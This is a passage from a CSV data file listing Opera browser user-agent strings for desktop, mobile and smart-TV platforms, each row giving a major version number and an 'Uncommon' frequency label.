Safari/537.36 OPR/34.0.2036.25\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\nHTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0,9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.635\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65 (Edition Campaign 70)\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 OPR/16.0.1196.80\",16,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64; U; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 OPR/38.0.2220.29\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.10.289 Version/12.01,12,Uncommon\nOpera/9.80 (Linux mips ; U; HbbTV/1.1.1 (; Philips; ; ; ; ) CE-HTML/1.0 NETTV/3.1.0; en) Presto/2.6.33 Version/10.70,10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 OPR/33.0.1990.43\",33,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Uncommon\nOpera/9.80 (S60; SymbOS; Opera Mobi/SYB-1204232254; U; en-GB) Presto/2.10.254 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.0.1835.52 (Edition Yx)\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.54\",40,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Safari/537.36 OPR/28.0.1764.90386\",28,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.138 Safari/537.36 OPR/22.0.1485.78487\",22,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.7.62 Version/11.01,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/30.0.1835.88 (Edition FCR)\",30,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2687.0 Safari/537.36 OPR/38.0.2205.0 (Edition developer)\",38,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 OPR/25.0.1614.71\",25,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67 (Edition Campaign 76)\",50,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Uncommon\nOpera/9.80 (X11; Linux zvav; U; de) Presto/2.8.119 Version/11.10,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2756.0 Safari/537.36 OPR/40.0.2267.0 (Edition developer)\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36 OPR/26.0.1656.24\",26,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 OPR/17.0.1241.45\",17,Uncommon\nOpera/9.80 (Linux mips; Opera TV/58) Presto/2.11.355 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.39\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46 (Edition Campaign 70)\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.26\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\nOpera/9.80 (Linux i686; U; fr) Presto/2.10.287 Version/12.00 ; SC/IHD92 STB,12,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.175 VSTVB MB100 HbbTV/1.2.1 (; JVC; MB110; 2.21.7.0; ;) SmartTvA/3.0.0\",31,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.12,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.351\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.27 Safari/537.36 OPR/26.0.1656.5 (Edition developer)\",26,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32\",46,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1165\",43,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (TOSHIBA, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.62 Safari/537.36 OPR/26.0.1656.20 (Edition beta)\",26,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32\",48,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2810.2 Safari/537.36 OPR/41.0.2323.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2159.4 Safari/537.36 OPR/26.0.1655.0 (Edition developer)\",26,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2243.2 Safari/537.36 OPR/28.0.1738.0 (Edition developer)\",28,Uncommon\nOpera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01,11,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 OPR/50.0.2762.45\",50,Uncommon\nOpera/9.80 (Windows NT 6.0; Edition Campaign 21) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Safari/537.36 OPR/44.1.2246.123029\",44.1,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.82\",35,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2145.4 Safari/537.36 OPR/26.0.1632.0 (Edition developer)\",26,Uncommon\nMozilla/4.0 (Windows 98; US) Opera 10.00 [en],10,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; Edition Next; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.0; BLU STUDIO C 5+5 Build/LRX21M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Mobile Safari/537.36 OPR/29.0.1809.91837\",29,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 OPR/27.0.1689.66 (Edition Campaign 37)\",27,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Uncommon\nOpera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1,9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\nOpera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 OPR/28.0.1750.40 (Edition Campaign 30)\",28,Uncommon\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.13,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.26314\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36 OPR/01.0.0000.00\",01.0,Uncommon\nOpera/9.80 (X11; Linux x86_64) Presto/2.12.388 Version/12.12,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\nOpera/9.80 (Windows NT 6.0; WOW64) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 OPR/29.0.1795.47 (Edition RMV)\",29,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.60 Safari/537.36 OPR/39.0.2256.30 (Edition beta)\",39,Uncommon\n\"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MHC19T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.105088\",37,Uncommon\nOpera/9.63 (Windows NT 5.1; U; en) Presto/2.1.1,9,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2376.0 Safari/537.36 OPR/31.0.1857.0 (Edition developer)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 OPR/52.0.2871.30\",52,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; SM-E700H Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Mobile Safari/537.36 OPR/36.2.2126.102826\",36.2,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 OPR/39.0.2256.71\",39,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Safari/537.36 OPR/43.0.2246.121183\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 (Edition Campaign 38)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51 (Edition Rambler)\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 OPR/30.0.1835.125 (Edition Ask)\",30,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32\",46,Uncommon\nMOT-A1200i/R532L4_G_11.40.1AR Mozilla/4.0 (compatible; MSIE 6.0; Linux; Motorola A1200i;nnn) Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera 8.00,8,Uncommon\nOpera/9.80 (X11; Linux zbov; U; hu) Presto/2.10.254 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3224.0 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 OPR/31.0.1889.99\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.1835.49 (Edition beta)\",30,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Uncommon\nOpera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.50 (Edition Campaign 76)\",48,Uncommon\nOpera/9.80 (X11; Linux x86_64; U; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2308.90\",40,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.20 Safari/537.36  OPR/15.0.1147.18 (Edition Next)\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 OPR/17.0.1241.45\",17,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1889.151\",31,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition Next) Presto/2.12.388 Version/12.15,12,Uncommon\nOpera/9.80 (Windows NT 4.0; U; en) Presto/2.6.30 Version/10.63,10,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.0; RCT6773W22B Build/LRX21M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\",30,Uncommon\nOpera/7.11 (Windows NT 5.1; U) [en],7,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48 (Edition Campaign 22)\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64 (Edition Campaign 75)\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 OPR/31.0.1889.99\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 OPR/49.0.2725.34\",49,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.3;) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Opera News/1.0\",4,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition Yx) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.73\",16,Uncommon\nOpera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01,11,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64; U; Edition Next; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.19 Safari/537.36 OPR/44.0.2505.0 (Edition developer)\",44,Uncommon\nOpera/9.80 (Windows NT 6.0; Win64; x64) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.73\",16,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.89\",32,Uncommon\n\"Opera/9.80 (Linux armv7l;  HbbTV/1.1.1 (; Philips; ; ; PHILIPSTV; ) CE-HTML/1.0 NETTV/4.3.2 PHILIPSTV/2.1.1 Firmware/003.010.000.001 (PhilipsTV, 2.1.1,) en) Presto/2.12.362 Version/12.11\",12,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 OPR/29.0.1803.0 OMI/4.5.23.37.ALSAN5.131\",29,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2471.2 Safari/537.36 OPR/33.0.1967.0 (Edition developer)\",33,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.6.3.J (HITACHI, Si2157LG32, wired)\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\nOpera/9.80 (Linux i686; U;  Amino; en) Presto/2.10.250 Version/11.60,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.87\",33,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54\",37,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 4.0) Opera 7.0 [en],7,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.37\",52,Uncommon\nSonyEricssonP1i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 768) Opera 8.65 [en],8,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2824.2 Safari/537.36 OPR/41.0.2329.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2398.0 Safari/537.36 OPR/31.0.1876.0 (Edition developer)\",31,Uncommon\n\"Mozilla/5.0 (Windows 